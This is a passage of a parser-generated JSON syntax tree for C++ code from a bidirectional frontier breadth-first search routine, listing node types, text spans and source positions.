"bool", "parent": 467, "children": [471], "start_point": {"row": 93, "column": 0}, "end_point": {"row": 93, "column": 4}}, {"id": 471, "type": "identifier", "text": "bool", "parent": 470, "children": [], "start_point": {"row": 93, "column": 0}, "end_point": {"row": 93, "column": 4}}, {"id": 472, "type": "identifier", "text": "FrontierBFS", "parent": 467, "children": [], "start_point": {"row": 93, "column": 5}, "end_point": {"row": 93, "column": 16}}, {"id": 473, "type": "<", "text": "<", "parent": 466, "children": [], "start_point": {"row": 93, "column": 16}, "end_point": {"row": 93, "column": 17}}, {"id": 474, "type": "identifier", "text": "state", "parent": 466, "children": [], "start_point": {"row": 93, "column": 17}, "end_point": {"row": 93, "column": 22}}, {"id": 475, "type": "binary_expression", "text": "action>::DoOneIteration(SearchEnvironment<state, action> *env)", "parent": 465, "children": [476, 477, 478], "start_point": {"row": 93, "column": 24}, "end_point": {"row": 93, "column": 86}}, {"id": 476, "type": "identifier", "text": "action", "parent": 475, "children": [], "start_point": {"row": 93, "column": 24}, "end_point": {"row": 93, "column": 30}}, {"id": 477, "type": ">", "text": ">", "parent": 475, "children": [], "start_point": {"row": 93, "column": 30}, "end_point": {"row": 93, "column": 31}}, {"id": 478, "type": "call_expression", "text": "DoOneIteration(SearchEnvironment<state, action> *env)", "parent": 475, "children": [479, 480], "start_point": {"row": 93, "column": 33}, "end_point": {"row": 93, "column": 86}}, {"id": 479, "type": "identifier", "text": "DoOneIteration", "parent": 478, "children": [], "start_point": {"row": 93, "column": 33}, "end_point": {"row": 93, "column": 47}}, {"id": 480, "type": "argument_list", "text": "(SearchEnvironment<state, action> *env)", "parent": 478, "children": [481, 485], "start_point": {"row": 93, "column": 47}, "end_point": {"row": 93, "column": 86}}, {"id": 481, "type": "binary_expression", "text": "SearchEnvironment<state", "parent": 480, "children": [482, 483, 484], "start_point": {"row": 93, "column": 48}, "end_point": {"row": 93, "column": 71}}, {"id": 482, "type": "identifier", "text": "SearchEnvironment", "parent": 481, "children": [], "start_point": {"row": 93, "column": 48}, "end_point": {"row": 93, "column": 65}}, {"id": 483, "type": "<", "text": "<", "parent": 481, "children": [], "start_point": {"row": 93, "column": 65}, "end_point": {"row": 93, "column": 66}}, {"id": 484, "type": "identifier", "text": "state", "parent": 481, "children": [], "start_point": {"row": 93, "column": 66}, "end_point": {"row": 93, "column": 71}}, {"id": 485, "type": "binary_expression", "text": "action> *env", "parent": 480, "children": [486, 487, 488], "start_point": {"row": 93, "column": 73}, "end_point": {"row": 93, "column": 85}}, {"id": 486, "type": "identifier", "text": "action", "parent": 485, "children": [], "start_point": {"row": 93, "column": 73}, "end_point": {"row": 93, "column": 79}}, {"id": 487, "type": ">", "text": ">", "parent": 485, "children": [], "start_point": {"row": 93, "column": 79}, "end_point": {"row": 93, "column": 80}}, {"id": 488, "type": "pointer_expression", "text": "*env", "parent": 485, "children": [489, 490], "start_point": {"row": 93, "column": 81}, "end_point": {"row": 93, "column": 85}}, {"id": 489, "type": "*", "text": "*", "parent": 488, "children": [], "start_point": {"row": 93, "column": 81}, "end_point": {"row": 93, "column": 82}}, {"id": 490, "type": "identifier", "text": "env", "parent": 488, "children": [], "start_point": {"row": 93, "column": 82}, "end_point": {"row": 93, "column": 85}}, {"id": 491, "type": "declaration", "text": "uint64_t n = nodesExpanded;", "parent": 0, "children": [492, 493], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 28}}, {"id": 492, "type": "primitive_type", "text": "uint64_t", "parent": 491, "children": [], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 9}}, {"id": 493, "type": "init_declarator", "text": "n = nodesExpanded", "parent": 491, "children": [494, 495, 496], "start_point": {"row": 95, "column": 10}, "end_point": {"row": 95, "column": 27}}, {"id": 494, "type": "identifier", "text": "n", "parent": 493, "children": [], "start_point": {"row": 95, "column": 10}, "end_point": {"row": 95, "column": 11}}, {"id": 495, "type": "=", "text": "=", "parent": 493, "children": [], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 13}}, {"id": 496, "type": "identifier", "text": "nodesExpanded", "parent": 493, "children": [], "start_point": {"row": 95, "column": 14}, "end_point": {"row": 95, "column": 27}}, {"id": 497, "type": "if_statement", "text": "if ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n\t{\n\t\tn = nodesExpanded;\n\t\tif (mOpen1.size() == 0)\n\t\t{\n\t\t\tstd::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tstd::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}\n\t\tdepth++;\t\t\n\t}\n\telse {\n\t\treturn true;\n\t}", "parent": 0, "children": [498, 615], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 114, "column": 2}}, {"id": 498, "type": "parenthesized_expression", "text": "((mOpen1.size() != 0) || (mOpen2.size() != 0))", "parent": 497, "children": [499], "start_point": {"row": 96, "column": 4}, "end_point": {"row": 96, "column": 50}}, {"id": 499, "type": "binary_expression", "text": "(mOpen1.size() != 0) || (mOpen2.size() != 0)", "parent": 498, "children": [500, 509, 510], "start_point": {"row": 96, "column": 5}, "end_point": {"row": 96, "column": 49}}, {"id": 500, "type": "parenthesized_expression", "text": "(mOpen1.size() != 0)", "parent": 499, "children": [501], "start_point": {"row": 96, "column": 5}, "end_point": {"row": 96, "column": 25}}, {"id": 501, "type": "binary_expression", "text": "mOpen1.size() != 0", "parent": 500, "children": [502, 507, 508], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 24}}, {"id": 502, "type": "call_expression", "text": "mOpen1.size()", "parent": 501, "children": [503, 506], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 19}}, {"id": 503, "type": "field_expression", "text": "mOpen1.size", "parent": 502, "children": [504, 505], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 17}}, {"id": 504, "type": "identifier", "text": "mOpen1", "parent": 503, "children": [], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 12}}, {"id": 505, "type": "field_identifier", "text": "size", "parent": 503, "children": [], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 17}}, {"id": 506, "type": "argument_list", "text": "()", "parent": 502, "children": [], "start_point": {"row": 96, "column": 17}, "end_point": {"row": 96, "column": 19}}, {"id": 507, "type": "!=", "text": "!=", "parent": 501, "children": [], "start_point": {"row": 96, "column": 20}, "end_point": {"row": 96, "column": 22}}, {"id": 508, "type": "number_literal", "text": "0", "parent": 501, "children": [], "start_point": {"row": 96, "column": 23}, "end_point": {"row": 96, "column": 24}}, {"id": 509, "type": "||", "text": "||", "parent": 499, "children": [], "start_point": {"row": 96, "column": 26}, "end_point": {"row": 96, "column": 28}}, {"id": 510, "type": "parenthesized_expression", "text": "(mOpen2.size() != 0)", "parent": 499, "children": [511], "start_point": {"row": 96, "column": 29}, "end_point": {"row": 96, "column": 49}}, {"id": 511, "type": "binary_expression", "text": "mOpen2.size() != 0", "parent": 510, "children": [512, 517, 518], "start_point": {"row": 96, "column": 30}, "end_point": {"row": 96, "column": 48}}, {"id": 512, "type": "call_expression", "text": "mOpen2.size()", "parent": 511, "children": [513, 516], "start_point": {"row": 96, "column": 30}, "end_point": {"row": 96, "column": 43}}, {"id": 513, "type": "field_expression", "text": "mOpen2.size", "parent": 512, "children": [514, 515], "start_point": {"row": 96, "column": 30}, "end_point": {"row": 96, "column": 41}}, {"id": 514, "type": "identifier", "text": "mOpen2", "parent": 513, "children": [], "start_point": {"row": 96, "column": 30}, "end_point": {"row": 96, "column": 36}}, {"id": 515, "type": "field_identifier", "text": "size", "parent": 513, "children": [], "start_point": {"row": 96, "column": 37}, "end_point": {"row": 96, "column": 41}}, {"id": 516, "type": "argument_list", "text": "()", "parent": 512, "children": [], "start_point": {"row": 96, "column": 41}, "end_point": {"row": 96, "column": 43}}, {"id": 517, "type": "!=", "text": "!=", "parent": 511, "children": [], "start_point": {"row": 96, "column": 44}, "end_point": {"row": 96, "column": 46}}, {"id": 518, "type": "number_literal", "text": "0", "parent": 511, "children": [], "start_point": {"row": 96, "column": 47}, "end_point": {"row": 96, "column": 48}}, {"id": 519, "type": "assignment_expression", "text": "n = nodesExpanded", "parent": 497, "children": [520, 521, 522], "start_point": {"row": 98, "column": 2}, "end_point": {"row": 98, "column": 19}}, {"id": 520, "type": "identifier", "text": "n", "parent": 519, "children": [], "start_point": {"row": 98, "column": 2}, "end_point": {"row": 98, "column": 3}}, {"id": 521, "type": "=", "text": "=", "parent": 519, "children": [], "start_point": {"row": 98, "column": 4}, "end_point": {"row": 98, "column": 5}}, {"id": 522, "type": "identifier", "text": "nodesExpanded", "parent": 519, "children": [], "start_point": {"row": 98, "column": 6}, "end_point": {"row": 98, "column": 19}}, {"id": 523, "type": "if_statement", "text": "if (mOpen1.size() == 0)\n\t\t{\n\t\t\tstd::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tstd::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}", "parent": 497, "children": [524, 572], "start_point": {"row": 99, "column": 2}, "end_point": {"row": 109, "column": 3}}, {"id": 524, "type": "parenthesized_expression", "text": "(mOpen1.size() == 0)", "parent": 523, "children": [525], "start_point": {"row": 99, "column": 5}, "end_point": {"row": 99, "column": 25}}, {"id": 525, "type": "binary_expression", "text": "mOpen1.size() == 0", "parent": 524, "children": [526, 531, 532], "start_point": {"row": 99, "column": 6}, "end_point": {"row": 99, "column": 24}}, {"id": 526, "type": "call_expression", "text": "mOpen1.size()", "parent": 525, "children": [527, 530], "start_point": {"row": 99, "column": 6}, "end_point": {"row": 99, "column": 19}}, {"id": 527, "type": "field_expression", "text": "mOpen1.size", "parent": 526, "children": [528, 529], "start_point": {"row": 99, "column": 6}, "end_point": {"row": 99, "column": 17}}, {"id": 528, "type": "identifier", "text": "mOpen1", "parent": 527, "children": [], "start_point": {"row": 99, "column": 6}, "end_point": {"row": 99, "column": 12}}, {"id": 529, "type": "field_identifier", "text": "size", "parent": 527, "children": [], "start_point": {"row": 99, "column": 13}, "end_point": {"row": 99, "column": 17}}, {"id": 530, "type": "argument_list", "text": "()", "parent": 526, "children": [], "start_point": {"row": 99, "column": 17}, "end_point": {"row": 99, "column": 19}}, {"id": 531, "type": "==", "text": "==", "parent": 525, "children": [], "start_point": {"row": 99, "column": 20}, "end_point": {"row": 99, "column": 22}}, {"id": 532, "type": "number_literal", "text": "0", "parent": 525, "children": [], "start_point": {"row": 99, "column": 23}, "end_point": {"row": 99, "column": 24}}, {"id": 533, "type": "labeled_statement", "text": "std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;", "parent": 523, "children": [534, 535], "start_point": {"row": 101, "column": 3}, "end_point": {"row": 101, "column": 74}}, {"id": 534, "type": "statement_identifier", "text": "std", "parent": 533, "children": [], "start_point": {"row": 101, "column": 3}, "end_point": {"row": 101, "column": 6}}, {"id": 535, "type": "ERROR", "text": "::cout << mOpen2.front() << std::endl << mOpen2.back() << std:", "parent": 533, "children": [536, 547], "start_point": {"row": 101, "column": 6}, "end_point": {"row": 101, "column": 68}}, {"id": 536, "type": "binary_expression", "text": "cout << mOpen2.front() << std", "parent": 535, "children": [537, 545, 546], "start_point": {"row": 101, "column": 8}, "end_point": {"row": 101, "column": 37}}, {"id": 537, "type": "binary_expression", "text": "cout << mOpen2.front()", "parent": 536, "children": [538, 539, 540], "start_point": {"row": 101, "column": 8}, "end_point": {"row": 101, "column": 30}}, {"id": 538, "type": "identifier", "text": "cout", "parent": 537, "children": [], "start_point": {"row": 101, "column": 8}, "end_point": {"row": 101, "column": 12}}, {"id": 539, "type": "<<", "text": "<<", "parent": 537, "children": [], "start_point": {"row": 101, "column": 13}, "end_point": {"row": 101, "column": 15}}, {"id": 540, "type": "call_expression", "text": "mOpen2.front()", "parent": 537, "children": [541, 544], "start_point": {"row": 101, "column": 16}, "end_point": {"row": 101, "column": 30}}, {"id": 541, "type": "field_expression", "text": "mOpen2.front", "parent": 540, "children": [542, 543], "start_point": {"row": 101, "column": 16}, "end_point": {"row": 101, "column": 28}}, {"id": 542, "type": "identifier", "text": "mOpen2", "parent": 541, "children": [], "start_point": {"row": 101, "column": 16}, "end_point": {"row": 101, "column": 22}}, {"id": 543, "type": "field_identifier", "text": "front", "parent": 541, "children": [], "start_point": {"row": 101, "column": 23}, "end_point": {"row": 101, "column": 28}}, {"id": 544, "type": "argument_list", "text": "()", "parent": 540, "children": [], "start_point": {"row": 101, "column": 28}, "end_point": {"row": 101, "column": 30}}, {"id": 545, "type": "<<", "text": "<<", "parent": 536, "children": [], "start_point": {"row": 101, "column": 31}, "end_point": {"row": 101, "column": 33}}, {"id": 546, "type": "identifier", "text": "std", "parent": 536, "children": [], "start_point": {"row": 101, "column": 34}, "end_point": {"row": 101, "column": 37}}, {"id": 547, "type": "binary_expression", "text": "endl << mOpen2.back() << std", "parent": 535, "children": [548, 556, 557], "start_point": {"row": 101, "column": 39}, "end_point": {"row": 101, "column": 67}}, {"id": 548, "type": "binary_expression", "text": "endl << mOpen2.back()", "parent": 547, "children": [549, 550, 551], "start_point": {"row": 101, "column": 39}, "end_point": {"row": 101, "column": 60}}, {"id": 549, "type": "identifier", "text": "endl", "parent": 548, "children": [], "start_point": {"row": 101, "column": 39}, "end_point": {"row": 101, "column": 43}}, {"id": 550, "type": "<<", "text": "<<", "parent": 548, "children": [], "start_point": {"row": 101, "column": 44}, "end_point": {"row": 101, "column": 46}}, {"id": 551, "type": "call_expression", "text": "mOpen2.back()", "parent": 548, "children": [552, 555], "start_point": {"row": 101, "column": 47}, "end_point": {"row": 101, "column": 60}}, {"id": 552, "type": "field_expression", "text": "mOpen2.back", "parent": 551, "children": [553, 554], "start_point": {"row": 101, "column": 47}, "end_point": {"row": 101, "column": 58}}, {"id": 553, "type": "identifier", "text": "mOpen2", "parent": 552, "children": [], "start_point": {"row": 101, "column": 47}, "end_point": {"row": 101, "column": 53}}, {"id": 554, "type": "field_identifier", "text": "back", "parent": 552, "children": [], "start_point": {"row": 101, "column": 54}, "end_point": {"row": 101, "column": 58}}, {"id": 555, "type": "argument_list", "text": "()", "parent": 551, "children": [], "start_point": {"row": 101, "column": 58}, "end_point": {"row": 101, "column": 60}}, {"id": 556, "type": "<<", "text": "<<", "parent": 547, "children": [], "start_point": {"row": 101, "column": 61}, "end_point": {"row": 101, "column": 63}}, {"id": 557, "type": "identifier", "text": "std", "parent": 547, "children": [], "start_point": {"row": 101, "column": 64}, "end_point": {"row": 101, "column": 67}}, {"id": 558, "type": "identifier", "text": "endl", "parent": 533, "children": [], "start_point": {"row": 101, "column": 69}, "end_point": {"row": 101, "column": 73}}, {"id": 559, "type": "call_expression", "text": "ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1)", "parent": 523, "children": [560, 561], "start_point": {"row": 102, "column": 3}, "end_point": {"row": 102, "column": 55}}, {"id": 560, "type": "identifier", "text": "ExpandLevel", "parent": 559, "children": [], "start_point": {"row": 102, "column": 3}, "end_point": {"row": 102, "column": 14}}, {"id": 561, "type": "argument_list", "text": "(env, mOpen2, mClosed2, mOpen1, mClosed1)", "parent": 559, "children": [562, 563, 564, 565, 566], "start_point": {"row": 102, "column": 14}, "end_point": {"row": 102, "column": 55}}, {"id": 562, "type": "identifier", "text": "env", "parent": 561, "children": [], "start_point": {"row": 102, "column": 15}, "end_point": {"row": 102, "column": 18}}, {"id": 563, "type": "identifier", "text": "mOpen2", "parent": 561, "children": [], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 26}}, {"id": 564, "type": "identifier", "text": "mClosed2", "parent": 561, "children": [], "start_point": {"row": 102, "column": 28}, "end_point": {"row": 102, "column": 36}}, {"id": 565, "type": "identifier", "text": "mOpen1", "parent": 561, "children": [], "start_point": {"row": 102, "column": 38}, "end_point": {"row": 102, "column": 44}}, {"id": 566, "type": "identifier", "text": "mClosed1", "parent": 561, "children": [], "start_point": {"row": 102, "column": 46}, "end_point": {"row": 102, "column": 54}}, {"id": 567, "type": "call_expression", "text": "mClosed1.clear()", "parent": 523, "children": [568, 571], "start_point": {"row": 103, "column": 3}, "end_point": {"row": 103, "column": 19}}, {"id": 568, "type": "field_expression", "text": "mClosed1.clear", "parent": 567, "children": [569, 570], "start_point": {"row": 103, "column": 3}, "end_point": {"row": 103, "column": 17}}, {"id": 569, "type": "identifier", "text": "mClosed1", "parent": 568, "children": [], "start_point": {"row": 103, "column": 3}, "end_point": {"row": 103, "column": 11}}, {"id": 570, "type": "field_identifier", "text": "clear", "parent": 568, "children": [], "start_point": {"row": 103, "column": 12}, "end_point": {"row": 103, "column": 17}}, {"id": 571, "type": "argument_list", "text": "()", "parent": 567, "children": [], "start_point": {"row": 103, "column": 17}, "end_point": {"row": 103, "column": 19}}, {"id": 572, "type": "else_clause", "text": "else {\n\t\t\tstd::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}", "parent": 523, "children": [], "start_point": {"row": 105, "column": 2}, "end_point": {"row": 109, "column": 3}}, {"id": 573, "type": "labeled_statement", "text": "std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;", "parent": 572, "children": [574, 575], "start_point": {"row": 106, "column": 3}, "end_point": {"row": 106, "column": 74}}, {"id": 574, "type": "statement_identifier", "text": "std", "parent": 573, "children": [], "start_point": {"row": 106, "column": 3}, "end_point": {"row": 106, "column": 6}}, {"id": 575, "type": "ERROR", "text": "::cout << mOpen1.front() << std::endl << mOpen1.back() << std:", "parent": 573, "children": [576, 587], "start_point": {"row": 106, "column": 6}, "end_point": {"row": 106, "column": 68}}, {"id": 576, "type": "binary_expression", "text": "cout << mOpen1.front() << std", "parent": 575, "children": [577, 585, 586], "start_point": {"row": 106, "column": 8}, "end_point": {"row": 106, "column": 37}}, {"id": 577, "type": "binary_expression", "text": "cout << mOpen1.front()", "parent": 576, "children": [578, 579, 580], "start_point": {"row": 106, "column": 8}, "end_point": {"row": 106, "column": 30}}, {"id": 578, "type": "identifier", "text": "cout", "parent": 577, "children": [], "start_point": {"row": 106, "column": 8}, "end_point": {"row": 106, "column": 12}}, {"id": 579, "type": "<<", "text": "<<", "parent": 577, "children": [], "start_point": {"row": 106, "column": 13}, "end_point": {"row": 106, "column": 15}}, {"id": 580, "type": "call_expression", "text": "mOpen1.front()", "parent": 577, "children": [581, 584], "start_point": {"row": 106, "column": 16}, "end_point": {"row": 106, "column": 30}}, {"id": 581, "type": "field_expression", "text": "mOpen1.front", "parent": 580, "children": [582, 583], "start_point": {"row": 106, "column": 16}, "end_point": {"row": 106, "column": 28}}, {"id": 582, "type": "identifier", "text": "mOpen1", "parent": 581, "children": [], "start_point": {"row": 106, "column": 16}, "end_point": {"row": 106, "column": 22}}, {"id": 583, "type": "field_identifier", "text": "front", "parent": 581, "children": [], "start_point": {"row": 106, "column": 23}, "end_point": {"row": 106, "column": 28}}, {"id": 584, "type": "argument_list", "text": "()", "parent": 580, "children": [], "start_point": {"row": 106, "column": 28}, "end_point": {"row": 106, "column": 30}}, {"id": 585, "type": "<<", "text": "<<", "parent": 576, "children": [], "start_point": {"row": 106, "column": 31}, "end_point": {"row": 106, "column": 33}}, {"id": 586, "type": "identifier", "text": "std", "parent": 576, "children": [], "start_point": {"row": 106, "column": 34}, "end_point": {"row": 106, "column": 37}}, {"id": 587, "type": "binary_expression", "text": "endl << mOpen1.back() << std", "parent": 575, "children": [588, 596, 597], "start_point": {"row": 106, "column": 39}, "end_point": {"row": 106, "column": 67}}, {"id": 588, "type": "binary_expression", "text": "endl << mOpen1.back()", "parent": 587, "children": [589, 590, 591], "start_point": {"row": 106, "column": 39}, "end_point": {"row": 106, "column": 60}}, {"id": 589, "type": "identifier", "text": "endl", "parent": 588, "children": [], "start_point": {"row": 106, "column": 39}, "end_point": {"row": 106, "column": 43}}, {"id": 590, "type": "<<", "text": "<<", "parent": 588, "children": [], "start_point": {"row": 106, "column": 44}, "end_point": {"row": 106, "column": 46}}, {"id": 591, "type": "call_expression", "text": "mOpen1.back()", "parent": 588, "children": [592, 595], "start_point": {"row": 106, "column": 47}, "end_point": {"row": 106, "column": 60}}, {"id": 592, "type": "field_expression", "text": "mOpen1.back", "parent": 591, "children": [593, 594], "start_point": {"row": 106, "column": 47}, "end_point": {"row": 106, "column": 58}}, {"id": 593, "type": "identifier", "text": "mOpen1", "parent": 592, "children": [], "start_point": {"row": 106, "column": 47}, "end_point": {"row": 106, "column": 53}}, {"id": 594, "type": "field_identifier", "text": "back", "parent": 592, "children": [], "start_point": {"row": 106, "column": 54}, "end_point": {"row": 106, "column": 58}}, {"id": 595, "type": "argument_list", "text": "()", "parent": 591, "children": [], "start_point": {"row": 106, "column": 58}, "end_point": {"row": 106, "column": 60}}, {"id": 596, "type": "<<", "text": "<<", "parent": 587, "children": [], "start_point": {"row": 106, "column": 61}, "end_point": {"row": 106, "column": 63}}, {"id": 597, "type": "identifier", "text": "std", "parent": 587, "children": [], "start_point": {"row": 106, "column": 64}, "end_point": {"row": 106, "column": 67}}, {"id": 598, "type": "identifier", "text": "endl", "parent": 573, "children": [], "start_point": {"row": 106, "column": 69}, "end_point": {"row": 106, "column": 73}}, {"id": 599, "type": "call_expression", "text": "ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2)", "parent": 572, "children": [600, 601], "start_point": {"row": 107, "column": 3}, "end_point": {"row": 107, "column": 55}}, {"id": 600, "type": "identifier", "text": "ExpandLevel", "parent": 599, "children": [], "start_point": {"row": 107, "column": 3}, "end_point": {"row": 107, "column": 14}}, {"id": 601, "type": "argument_list", "text": "(env, mOpen1, mClosed1, mOpen2, mClosed2)", "parent": 599, "children": [602, 603, 604, 605, 606], "start_point": {"row": 107, "column": 14}, "end_point": {"row": 107, "column": 55}}, {"id": 602, "type": "identifier", "text": "env", "parent": 601, "children": [], "start_point": {"row": 107, "column": 15}, "end_point": {"row": 107, "column": 18}}, {"id": 603, "type": "identifier", "text": "mOpen1", "parent": 601, "children": [], "start_point": {"row": 107, "column": 20}, "end_point": {"row": 107, "column": 26}}, {"id": 604, "type": "identifier", "text": "mClosed1", "parent": 601, "children": [], "start_point": {"row": 107, "column": 28}, "end_point": {"row": 107, "column": 36}}, {"id": 605, "type": "identifier", "text": "mOpen2", "parent": 601, "children": [], "start_point": {"row": 107, "column": 38}, "end_point": {"row": 107, "column": 44}}, {"id": 606, "type": "identifier", "text": "mClosed2", "parent": 601, "children": [], "start_point": {"row": 107, "column": 46}, "end_point": {"row": 107, "column": 54}}, {"id": 607, "type": "call_expression", "text": "mClosed2.clear()", "parent": 572, "children": [608, 611], "start_point": {"row": 108, "column": 3}, "end_point": {"row": 108, "column": 19}}, {"id": 608, "type": "field_expression", "text": "mClosed2.clear", "parent": 607, "children": [609, 610], "start_point": {"row": 108, "column": 3}, "end_point": {"row": 108, "column": 17}}, {"id": 609, "type": "identifier", "text": "mClosed2", "parent": 608, "children": [], "start_point": {"row": 108, "column": 3}, "end_point": {"row": 108, "column": 11}}, {"id": 610, "type": "field_identifier", "text": "clear", "parent": 608, "children": [], "start_point": {"row": 108, "column": 12}, "end_point": {"row": 108, "column": 17}}, {"id": 611, "type": "argument_list", "text": "()", "parent": 607, "children": [], "start_point": {"row": 108, "column": 17}, "end_point": {"row": 108, "column": 19}}, {"id": 612, "type": "update_expression", "text": "depth++", "parent": 497, "children": [613, 614], "start_point": {"row": 110, "column": 2}, "end_point": {"row": 110, "column": 9}}, {"id": 613, "type": "identifier", "text": "depth", "parent": 612, "children": [], "start_point": {"row": 110, "column": 2}, "end_point": {"row": 110, "column": 7}}, {"id": 614, "type": "++", "text": "++", "parent": 612, "children": [], "start_point": {"row": 110, "column": 7}, "end_point": {"row": 110, "column": 9}}, {"id": 615, "type": "else_clause", "text": "else {\n\t\treturn true;\n\t}", "parent": 497, "children": [], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 114, "column": 2}}, {"id": 616, "type": "return_statement", "text": "return true;", "parent": 615, "children": [617], "start_point": {"row": 113, "column": 2}, "end_point": {"row": 113, "column": 14}}, {"id": 617, "type": "true", "text": "true", "parent": 616, "children": [], "start_point": {"row": 113, "column": 9}, "end_point": {"row": 113, "column": 13}}, {"id": 618, "type": "call_expression", "text": "printf(\"Depth %d complete; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())", "parent": 0, "children": [619, 620], "start_point": {"row": 115, "column": 1}, "end_point": {"row": 116, "column": 65}}, {"id": 619, "type": "identifier", "text": "printf", "parent": 618, "children": [], "start_point": {"row": 115, "column": 1}, "end_point": {"row": 115, "column": 7}}, {"id": 620, "type": "argument_list", "text": "(\"Depth %d complete; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())", "parent": 618, "children": [621, 623, 624, 625, 629], "start_point": {"row": 115, "column": 7}, "end_point": {"row": 116, "column": 65}}, {"id": 621, "type": "string_literal", "text": "\"Depth %d complete; nodes expanded %lld (%lld new); %d in memory\\n\"", "parent": 620, "children": [622], "start_point": {"row": 115, "column": 8}, "end_point": {"row": 115, "column": 75}}, {"id": 622, "type": "escape_sequence", "text": "\\n", "parent": 621, "children": [], "start_point": {"row": 115, "column": 72}, "end_point": {"row": 115, "column": 74}}, {"id": 623, "type": "identifier", "text": "depth", "parent": 620, "children": [], "start_point": {"row": 115, "column": 77}, "end_point": {"row": 115, "column": 82}}, {"id": 624, "type": "identifier", "text": "nodesExpanded", "parent": 620, "children": [], "start_point": {"row": 115, "column": 84}, "end_point": {"row": 115, "column": 97}}, {"id": 625, "type": "binary_expression", "text": "nodesExpanded - n", "parent": 620, "children": [626, 627, 628], "start_point": {"row": 115, "column": 99}, "end_point": {"row": 115, "column": 116}}, {"id": 626, "type": "identifier", "text": "nodesExpanded", "parent": 625, "children": [], "start_point": {"row": 115, "column": 99}, "end_point": {"row": 115, "column": 112}}, {"id": 627, "type": "-", "text": "-", "parent": 625, "children": [], "start_point": {"row": 115, "column": 113}, "end_point": {"row": 115, "column": 114}}, {"id": 628, "type": "identifier", "text": "n", "parent": 625, "children": [], "start_point": {"row": 115, "column": 115}, "end_point": {"row": 115, "column": 116}}, {"id": 629, "type": "binary_expression", "text": "mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size()", "parent": 620, "children": [630, 649, 650], "start_point": {"row": 116, "column": 5}, "end_point": {"row": 116, "column": 64}}, {"id": 630, "type": "binary_expression", "text": "mOpen1.size()+mOpen2.size()+mClosed1.size()", "parent": 629, "children": [631, 643, 644], "start_point": {"row": 116, "column": 5}, "end_point": {"row": 116, "column": 48}}, {"id": 631, "type": "binary_expression", "text": "mOpen1.size()+mOpen2.size()", "parent": 630, "children": [632, 637, 638], "start_point": {"row": 116, "column": 5}, "end_point": {"row": 116, "column": 32}}, {"id": 632, "type": "call_expression", "text": "mOpen1.size()", "parent": 631, "children": [633, 636], "start_point": {"row": 116, "column": 5}, "end_point": {"row": 116, "column": 18}}, {"id": 633, "type": "field_expression", "text": "mOpen1.size", "parent": 632, "children": [634, 635], "start_point": {"row": 116, "column": 5}, "end_point": {"row": 116, "column": 16}}, {"id": 634, "type": "identifier", "text": "mOpen1", "parent": 633, "children": [], "start_point": {"row": 116, "column": 5}, "end_point": {"row": 116, "column": 11}}, {"id": 635, "type": "field_identifier", "text": "size", "parent": 633, "children": [], "start_point": {"row": 116, "column": 12}, "end_point": {"row": 116, "column": 16}}, {"id": 636, "type": "argument_list", "text": "()", "parent": 632, "children": [], "start_point": {"row": 116, "column": 16}, "end_point": {"row": 116, "column": 18}}, {"id": 637, "type": "+", "text": "+", "parent": 631, "children": [], "start_point": {"row": 116, "column": 18}, "end_point": {"row": 116, "column": 19}}, {"id": 638, "type": "call_expression", "text": "mOpen2.size()", "parent": 631, "children": [639, 642], "start_point": {"row": 116, "column": 19}, "end_point": {"row": 116, "column": 32}}, {"id": 639, "type": "field_expression", "text": "mOpen2.size", "parent": 638, "children": [640, 641], "start_point": {"row": 116, "column": 19}, "end_point": {"row": 116, "column": 30}}, {"id": 640, "type": "identifier", "text": "mOpen2", "parent": 639, "children": [], "start_point": {"row": 116, "column": 19}, "end_point": {"row": 116, "column": 25}}, {"id": 641, "type": "field_identifier", "text": "size", "parent": 639, "children": [], "start_point": {"row": 116, "column": 26}, "end_point": {"row": 116, "column": 30}}, {"id": 642, "type": "argument_list", "text": "()", "parent": 638, "children": [], "start_point": {"row": 116, "column": 30}, "end_point": {"row": 116, "column": 32}}, {"id": 643, "type": "+", "text": "+", "parent": 630, "children": [], "start_point": {"row": 116, "column": 32}, "end_point": {"row": 116, "column": 33}}, {"id": 644, "type": "call_expression", "text": "mClosed1.size()", "parent": 630, "children": [645, 648], "start_point": {"row": 116, "column": 33}, "end_point": {"row": 116, "column": 48}}, {"id": 645, "type": "field_expression", "text": "mClosed1.size", "parent": 644, "children": [646, 647], "start_point": {"row": 116, "column": 33}, 